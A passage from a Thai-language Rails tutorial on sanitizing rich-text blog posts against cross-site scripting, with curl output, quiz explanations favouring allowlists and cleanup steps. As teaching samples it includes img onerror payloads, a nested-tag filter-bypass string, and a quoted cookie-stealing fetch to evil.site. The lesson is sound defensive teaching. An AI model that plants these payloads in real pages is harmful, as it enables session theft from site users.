  3. รัน curl -s localhost:3000/posts/31 | grep "leading-relaxed" แล้วเทียบกับที่ทาย
  4. เปิดหน้ารวม http://localhost:3000/posts ดูการ์ดของบทความนี้ด้วย

ก่อนกดเฉลย: <h2> · <em> · onclick แต่ละตัวเป็นยังไง และการ์ดในหน้ารวมเห็นอะไร?

ผลจริง:

$ curl -s localhost:3000/posts/31 | grep "leading-relaxed"
</turbo-frame>      <p class="leading-relaxed whitespace-pre-line">เมนูแนะนำข้าวซอย<em>ไก่</em> <a href="/posts">ดูร้านอื่น</a></p>
  • <h2> ไม่อยู่ในรายการ → แท็กหาย แต่คำว่า "เมนูแนะนำ" ยังอยู่ ไปติดกับ "ข้าวซอย" (ไม่มีหัวข้อใหญ่แล้ว)
  • <em> อยู่ในรายการ → รอด · บนจอ "ไก่" เป็นตัวเอียง
  • <a> รอดพร้อม href · onclick ถูกตัด เพราะ attributes: ของเรามีแค่ href

การ์ดในหน้ารวมใช้อีกบรรทัด (truncate(post.description, …) ตัดให้สั้น) ซึ่งเราไม่ได้แก้ — ผลจริง:

$ curl -s localhost:3000/posts | grep "เมนูแนะนำ"
      <p class="text-base-content/80">&lt;h2&gt;เมนูแนะนำ&lt;/h2&gt;ข้าวซอย&lt;em&gt;ไก่&lt;/em&gt; &lt;a href=&quot;/posts&quot;...</p>

ถ้าเจออาการนี้ แปลว่า…

  • การ์ดหน้ารวมเห็นแท็กเป็นตัวหนังสือ <h2>เมนูแนะนำ… — ปกติ · บรรทัดนั้นยัง escape ทั้งหมด (ปลอดภัย แต่น่าเกลียด) · บท 137 แก้ด้วย plain text
  • ลิงก์ "ดูร้านอื่น" ไม่ขีดเส้นใต้ ไม่เป็นสีฟ้า — Tailwind ล้างหน้าตาเริ่มต้นของเบราว์เซอร์ทิ้งทั้งเว็บ (preflight · บท 72) · แท็ก <a href> ยังอยู่และกดได้
  • เห็น &lt;h2&gt; ในหน้าบทความด้วย — ไฟล์ _post.html.erb ถูกคืนไปแล้ว หรือไปแก้บรรทัด truncate แทน · ต้องแก้บรรทัดใน <% if full %>
  • curl ได้ผลว่าง ไม่มีบรรทัดไหนขึ้น — id ของคุณไม่ใช่ 31 · ดูเลขด้วย post.id ใน console แล้วเปลี่ยน URL

ทดสอบความเข้าใจ

ทีม A กรอง rich text ด้วย allowlist แต่ลืมใส่ em · ทีม B ใช้ blocklist (ห้าม script กับ iframe) แต่ลืม onerror · ข้อไหนถูก?

ตัวเลือกที่ 3 ถูก — allowlist ลืมของ = ของนั้นถูกถอดทิ้ง (แบบที่ <h2> หายในภารกิจ) feature ขาด เห็นเอง · blocklist ลืมของ = ของนั้นผ่าน (แบบที่ <img onerror> ผ่าน gsub ไปทั้งก้อน) คนร้ายเห็นก่อน

ตัวเลือกที่ 1 — ลืมเท่ากันแต่ผลไม่เท่ากัน คือหัวใจของหัวข้อนี้ · ตัวเลือกที่ 2 — แท็กนอกรายการถูกถอดทิ้ง ไม่ได้หลุดออกไป เหลือแค่ตัวหนังสือ · ตัวเลือกที่ 4 — "ที่รู้จัก" คือปัญหา · ลองแล้วว่าแค่ <sc<script>ript> ก็หลบตัวกรองแบบลบคำได้

จุดที่ต้องจำ: allowlist ผิด = feature ขาด (เราเห็น) · blocklist ผิด = ระบบถูกเจาะ (เราไม่เห็น) → เลือก allowlist เสมอ

มีบทความเก่า 500 ชิ้นบันทึกไว้แล้ว บางชิ้นมี <img src="x" onerror="…"> · วันนี้เราเพิ่ม sanitize ใน view · เกิดอะไรกับบทความเก่า?

ตัวเลือกที่ 1 ถูก — sanitize กรองระหว่างทางออกไปหน้าเว็บทุกครั้ง · เราเห็นแล้วว่าหน้าเว็บไม่มี onerror แต่ Post.find(31).description ยังมีครบ

ตัวเลือกที่ 2 — ไม่ต้อง migrate นี่คือข้อดีของการตรวจตอนโชว์ · ตัวเลือกที่ 3 — sanitize ไม่เคยเขียนกลับลงฐานข้อมูล · ตัวเลือกที่ 4 — คือผลของการกรองตอนบันทึก ซึ่ง Rails ไม่ได้ทำ

จุดที่ต้องจำ: ตรวจตอนโชว์ = แก้กฎแล้วของเก่าปลอดภัยทันที · แต่ของสกปรกยังอยู่ใน DB

ทีมมือถือดึง /posts/31.json แล้วเอา description ไปวางเป็น HTML บนจอ · ผู้ใช้แอปโดน alert ทั้งที่หน้าเว็บของเรา sanitize แล้ว · เพราะอะไร?

ตัวเลือกที่ 4 ถูก — ผลจริงจาก curl: JSON มี onerror=\"alert(1)\" ครบ · show.json.jbuilder ไม่ผ่าน _post.html.erb ที่เราใส่ sanitize

ตัวเลือกที่ 1 — JSON แปลง < เป็น \u003c จริง แต่นั่นเป็นแค่วิธีเขียน อ่านกลับมาก็ได้ < เหมือนเดิม (ลองด้วย JSON.parse แล้ว) · ปัญหาไม่ได้อยู่ที่การแปลงตัวอักษร · ตัวเลือกที่ 2 — sanitize ไม่เคยเขียนลง DB · ของดิบอยู่ในนั้นมาตั้งแต่บันทึก · ตัวเลือกที่ 3 — cookie ไม่เกี่ยว ทั้งสองทางอ่านแถวเดียวกันในฐานข้อมูล

จุดที่ต้องจำ: จุดที่ปลอดภัยคือ "render ผ่าน Rails view" เท่านั้น · ทุกทางส่งออกอื่นต้องกรองเอง

ช่องค้นหาของเว็บใช้ description ILIKE '%strong%' แล้วเจอบทความที่บนจอไม่มีคำนี้เลย · แก้แบบไหนตรงจุดที่สุด?

ตัวเลือกที่ 2 ถูก — คำว่า strong มาจากชื่อแท็ก · strip_tags ให้ "น้ำแกงเข้มข้น ดูร้านอื่นที่หน้ารวม" ที่ไม่มีแท็กปน · เก็บแบบนี้ไว้อีกช่องแล้วค้นจากช่องนั้น (บท 137)

ตัวเลือกที่ 1 — Markdown ก็มีสัญลักษณ์ปน (** · [ ](…)) และยังแทรก HTML ดิบได้ด้วย · ตัวเลือกที่ 3 — ปัญหาไม่ได้อยู่ที่ผู้ใช้ แท็ก <strong> มาจากการกดปุ่ม B เอง · ตัวเลือกที่ 4 — sanitize เป็น helper ของ Rails ทำงานใน Ruby ตอนโชว์ ไม่ใช่คำสั่งของฐานข้อมูล

จุดที่ต้องจำ: เก็บ HTML = ต้องมีช่อง plain text แยกไว้ค้นหา

🧹 ก่อนไปบทถัดไป: คืนไฟล์ git restore app/views/posts/_post.html.erb (git status --short ต้องว่าง) · แล้วลบบทความทดลองใน console (ข้อมูลใน DB ไม่ถูก git restore คืนให้):

wongnok-blog-all-in-one(dev):001> Post.last.destroy
  Post Load (0.5ms)  SELECT "posts".* FROM "posts" ORDER BY "posts"."id" DESC LIMIT 1 /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.3ms)  BEGIN /*application='WongnokBlogAllInOne'*/
  Comment Load (0.4ms)  SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 31 /*application='WongnokBlogAllInOne'*/
  Post Destroy (0.4ms)  DELETE FROM "posts" WHERE "posts"."id" = 31 /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.7ms)  COMMIT /*application='WongnokBlogAllInOne'*/
=>
#<Post:0x0000000120a5c0f0
 id: 31,
 title: "ข้าวซอยร้านนี้ <strong>อร่อย</strong>",
 description: "<h2>เมนูแนะนำ</h2>ข้าวซอย<em>ไก่</em> <a href=\"/po...",
 category_id: 1,
 created_at: "2026-11-10 09:47:41.008443000 +0700",
 updated_at: "2026-11-10 09:49:42.768802000 +0700">
wongnok-blog-all-in-one(dev):002> Post.count
  Post Count (0.9ms)  SELECT COUNT(*) FROM "posts" /*application='WongnokBlogAllInOne'*/
=> 30

Comment Load = Rails ไล่ลบคอมเมนต์ของบทความนี้ก่อน (dependent: :destroy ใน model) · เห็น title: "ข้าวซอยร้านนี้ …" = ลบถูกชิ้น · กลับมา 30 ชิ้นเท่าเดิม

ถ้าเปิดสไลด์ดูประกอบ

หน้าสไลด์เขียนของจริง (Rails 8.1.4 · แอปของคอร์ส)ต้องสนใจไหม
1–2ป้าย "DAY 3" · "Part 2 · 3 บล็อค" · "ที่ทำไปตอน Part 1"ชุดนี้คือครึ่งหลังของ Day 3 ที่ย้ายมาเรียนวันนี้ · "Part 1" ในสไลด์ = บล็อก A B C ของ Day 3 · เว็บนี้เรียกชุดนี้ว่า Day 4 Part 1ไม่ต้อง
4ตัวอย่าง fetch('https://evil.site/c?d=' + document.cookie) "ส่ง session ของตัวเองให้คนร้าย"cookie session ของแอปเราติดป้าย httponly (= JavaScript ในหน้าอ่าน cookie นี้ไม่ได้ · ดูจาก curl -D - ที่ให้ curl โชว์หัวของคำตอบด้วย) → ใน Chrome document.cookie ได้ "" · แต่อย่าวางใจ MDN อธิบายว่าโค้ดที่ได้รันในหน้าเราทำได้ทุกอย่างที่โค้ดของเว็บเราทำได้ รวมถึงยิงคำขอในนามผู้ใช้ไม่ต้อง — และห้ามลองส่งข้อมูลไปเว็บข้างนอก
4"บล็อค G — บอกว่าไฟล์ชนิดไหนรับได้"เรื่องตรวจชนิดไฟล์อยู่บล็อก D (บท 140) · บล็อก G คือ login (Part 2)ไม่ต้อง
6โค้ด config/initializers/action_text.rb · ActionText::ContentHelper.allowed_tags += [...]เรื่องของบท 137 · ในแอปตอนนี้ค่านี้เป็น nil (ลองแล้ว) บรรทัดนี้จึงพังด้วย undefined method '+' for nil · อย่าพิมพ์ตามในบทนี้สนใจ ถ้าจะพิมพ์ตาม
7Markdown "ข้อมูลสะอาดโดยธรรมชาติ ไม่มีแท็กให้กลัว"ตัวแปลง Markdown ที่มากับ Ruby (RDoc) ปล่อย <script> ดิบผ่านออกมา (ลองแล้ว) · ผลที่แปลงแล้วต้อง sanitize เหมือน HTMLสนใจ ถ้าเลือก Markdown

อ้างอิง

ติดตรงไหน หรือผลของคุณต่างจากในบท — ก็อปผลจริงทั้งก้อนไปถาม AI หรือเพื่อนได้เลย โดยบอกว่ามาจากบท 136 ขั้นไหน